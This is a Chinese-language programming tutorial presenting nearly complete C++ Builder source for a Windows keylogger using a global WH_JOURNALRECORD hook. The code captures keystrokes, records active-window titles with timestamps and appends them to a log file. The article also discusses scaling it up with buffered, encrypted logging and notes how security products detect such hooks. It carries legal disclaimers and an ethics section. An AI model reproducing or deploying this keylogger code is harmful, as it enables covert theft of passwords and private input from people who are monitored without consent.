首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> C++ >> 關於C++

Windows Journal Hook 實作鍵盤記錄器:捕獲按鍵、視窗切換與時間戳完整原始碼解析

     編輯:關於C++

專案性質聲明

本文僅供安全研究、系統程式設計教學、授權滲透測試及防禦技術開發參考。 鍵盤記錄器屬敏感技術,**嚴禁**用於未經授權的監控、竊取帳號密碼、監視他人隱私等非法用途。開發類似功能時,必須遵守當地法律法規,取得被監控方明確書面同意,並提供明顯的啟用/停用介面與資料加密保護。

技術原理:WH_JOURNALRECORD Hook

WH_JOURNALRECORD 是「日誌記錄」類 Hook,原設計用於錄製使用者輸入序列 (巨集錄製)。特性:

  • 接收 EVENTMSG 結構,包含訊息類型、參數、時間戳、座標。
  • 全域性:系統將 DLL 注入所有 GUI 進程。
  • HC_ACTION 通知碼表示事件即將被處理,回呼可修改/記錄/攔截。
  • 鍵盤事件:WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN 等。
  • 視窗焦點變更:需自行追蹤 GetActiveWindow/GetForegroundWindow。

核心程式碼架構 (C++ Builder / VCL)

全域變數與常數


HHOOK g_hJournalHook = NULL;       // Hook 句柄
HWND  g_hLastFocus = NULL;         // 上一個焦點視窗
const DWORD KEY_PRESSED_MASK = 0x80000000; // GetKeyState 高位元組 = 按下狀態

安裝/移除 Hook (按鈕事件)


void __fastcall TfrmLogHook::btnInstallClick(TObject *Sender) {
  if (!g_hJournalHook)
    g_hJournalHook = SetWindowsHookEx(WH_JOURNALRECORD, (HOOKPROC)JournalLogProc, HInstance, 0);
}

void __fastcall TfrmLogHook::btnUninstallClick(TObject *Sender) {
  if (g_hJournalHook) {
    UnhookWindowsHookEx(g_hJournalHook);
    g_hJournalHook = NULL;
  }
}

Hook 回呼核心邏輯:JournalLogProc


HOOKPROC JournalLogProc(int iCode, WPARAM wParam, LPARAM lParam) {
  if (iCode < 0) return CallNextHookEx(g_hJournalHook, iCode, wParam, lParam);
  if (iCode != HC_ACTION) return CallNextHookEx(g_hJournalHook, iCode, wParam, lParam);

  EVENTMSG* pEvt = (EVENTMSG*)lParam;
  if (pEvt->message != WM_KEYDOWN) return CallNextHookEx(g_hJournalHook, iCode, wParam, lParam);

  // --- 焦點視窗變更偵測 ---
  HWND hFocus = GetActiveWindow(); // 或 GetForegroundWindow()
  if (hFocus != g_hLastFocus) {
    g_hLastFocus = hFocus;
    char szTitle[256] = {0}, szTime[64];
    GetWindowText(hFocus, szTitle, 255);
    strcpy(szTime, DateTimeToStr(Now()).c_str()); // VCL 輔助
    LogToFile("\n%s  %s", szTime, szTitle);       // 換行 + 時間 + 視窗標題
  }

  // --- 虛擬鍵碼解析與字元轉換 ---
  int vKey = LOBYTE(pEvt->paramL); // 虛擬鍵碼
  BYTE keyState[256];
  GetKeyboardState(keyState); // 取得當前鍵盤狀態 (Shift, CapsLock, NumLock...)

  // 以 ToAscii/ToUnicode 轉換為實際字元 (自動處理 Shift/CapsLock/死鍵)
  WORD ch = 0;
  ToAscii(vKey, HIBYTE(pEvt->paramH), keyState, &ch, 0);
  if (ch) {
    char c = (char)ch;
    // 過濾控制字元或特殊處理
    if (c >= 32 && c <= 126) LogToFile("%c", c); // 可列印字元
    else LogSpecialKey(vKey); // 處理 Enter, Tab, Backspace, F1-F12, 方向鍵...
  }

  return CallNextHookEx(g_hJournalHook, iCode, wParam, lParam);
}

關鍵輔助函式


// 寫入日誌檔 (簡易版,實務建議非同步/緩衝/加密)
void LogToFile(const char* fmt, ...) {
  FILE* f = fopen("C:\\Logs\\keylog.txt", "a+");
  if (!f) return;
  va_list ap; va_start(ap, fmt); vfprintf(f, fmt, ap); va_end(ap);
  fclose(f);
}

// 特殊鍵名稱對照
void LogSpecialKey(int vKey) {
  static const struct { int vk; const char* name; } map[] = {
    {VK_BACK, "[BK]"}, {VK_TAB, "[TAB]"}, {VK_RETURN, "[EN]"}, {VK_ESCAPE, "[ESC]"},
    {VK_SPACE, "[SP]"}, {VK_PRIOR, "[PU]"}, {VK_NEXT, "[PD]"}, {VK_END, "[END]"},
    {VK_HOME, "[HOME]"}, {VK_LEFT, "[LF]"}, {VK_UP, "[UF]"}, {VK_RIGHT, "[RF]"},
    {VK_DOWN, "[DF]"}, {VK_INSERT, "[INS]"}, {VK_DELETE, "[DEL]"},
    {VK_F1, "[F1]"}, {VK_F2, "[F2]"}, {VK_F3, "[F3]"}, {VK_F4, "[F4]"},
    {VK_F5, "[F5]"}, {VK_F6, "[F6]"}, {VK_F7, "[F7]"}, {VK_F8, "[F8]"},
    {VK_F9, "[F9]"}, {VK_F10, "[F10]"}, {VK_F11, "[F11]"}, {VK_F12, "[F12]"},
  };
  for (auto& m : map) if (m.vk == vKey) { LogToFile("%s", m.name); return; }
  // 數字鍵盤、符號鍵等可擴充...
}

關鍵技術細節深度解析

1. 字元轉換:ToAscii vs ToUnicode

API輸出適用場景
ToAsciiANSI 字元 (WORD)舊版 ANSI 專案、簡單場景
ToUnicodeUnicode (WCHAR),支援補充平面、死鍵組合**現代專案首選**,正確處理多語言、IME 組合字

現代程式**強烈建議使用 ToUnicode** 配合 GetKeyboardState,自動處理 Shift、CapsLock、NumLock、AltGr、死鍵 (如 ` ́` + `a` = `á`) 等複雜鍵盤狀態。

2. 焦點追蹤:GetActiveWindow vs GetForegroundWindow

  • GetActiveWindow:傳回**呼叫執行緒**所屬進程的作用中視窗。Hook 回呼在**目標進程**執行,故能正確取得該進程的作用中視窗。
  • GetForegroundWindow:傳回系統全域前景視窗 (使用者正在互動的視窗)。跨進程一致。
  • 建議:結合兩者,或在主程式透過 SetWinEventHook(EVENT_SYSTEM_FOREGROUND) 監控前景變更,更可靠。

3. 日誌效能與可靠性

  • 同步 fopen/fprintf/fclose 極慢,會嚴重拖慢 Hook 回呼,導致系統輸入延遲甚至死鎖。
  • 生產級方案:
    - 環狀緩衝區 (共享記憶體) + 專用寫入執行緒 (主程式) 定期刷入檔案。
    - 或使用 WriteFile + FILE_FLAG_WRITE_THROUGH 直接寫入,避免 C Runtime 鎖競爭。
    - 日誌檔加密 (AES-GCM) + 完整性驗證 (HMAC),防止竄改/洩露。

4. 繞過/偵測對抗

  • 安全軟體常掃描 SetWindowsHookEx、WH_JOURNALRECORD、WH_KEYBOARD_LL 安裝行為。
  • 現代 EDR 監控 NtSetInformationThread(ThreadHideFromDebugger)、CreateRemoteThread、DLL 注入特徵。
  • 防禦端:SetWindowsHookEx 監控驅動、鍵盤輸入完整性驗證、虛擬鍵盤 (OSK) 繞過 Hook。

完整專案結構建議

KeyLoggerEdu/
├── HookDll/           # DLL 專案
│   ├── HookDll.cpp    # JournalLogProc, Install/Uninstall, 共享記憶體緩衝區
│   └── HookDll.def
├── LoggerApp/         # 主程式 (VCL/Console)
│   ├── Main.cpp       # UI、安裝 Hook、讀取共享緩衝區、非同步寫檔、加密
│   └── Crypto.cpp     # AES-GCM 加密/解密日誌
└── Shared/            # 共用標頭: 結構定義、環狀緩衝區、常數

法律與道德邊界總結

  1. 授權前提: 僅在擁有合法授權的系統上部署 (企業資產管理、家長控制、授權滲透測試)。
  2. 最小權限: 僅記錄必要欄位,避免記錄密碼欄位 (可偵測 ES_PASSWORD 樣式視窗並遮罩)。
  3. 資料保護: 日誌加密儲存、傳輸加密 (TLS)、定期銷毀、存取審計。
  4. 透明度: 被監控方知情、可查看/刪除自身資料、可隨時停用。
  5. 合規性: 符合 GDPR、個資法、勞基法等相關法規。

結語

WH_JOURNALRECORD 提供了系統級鍵盤/滑鼠事件錄製能力,配合 ToUnicode、焦點追蹤、非同步日誌架構,可構建功能完整的記錄器。但**技術中立,用途決定性質**。作為開發者,必須嚴守法律紅線與道德底線,將此技術應用於合法授權、透明可控的防禦與管理場景中。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved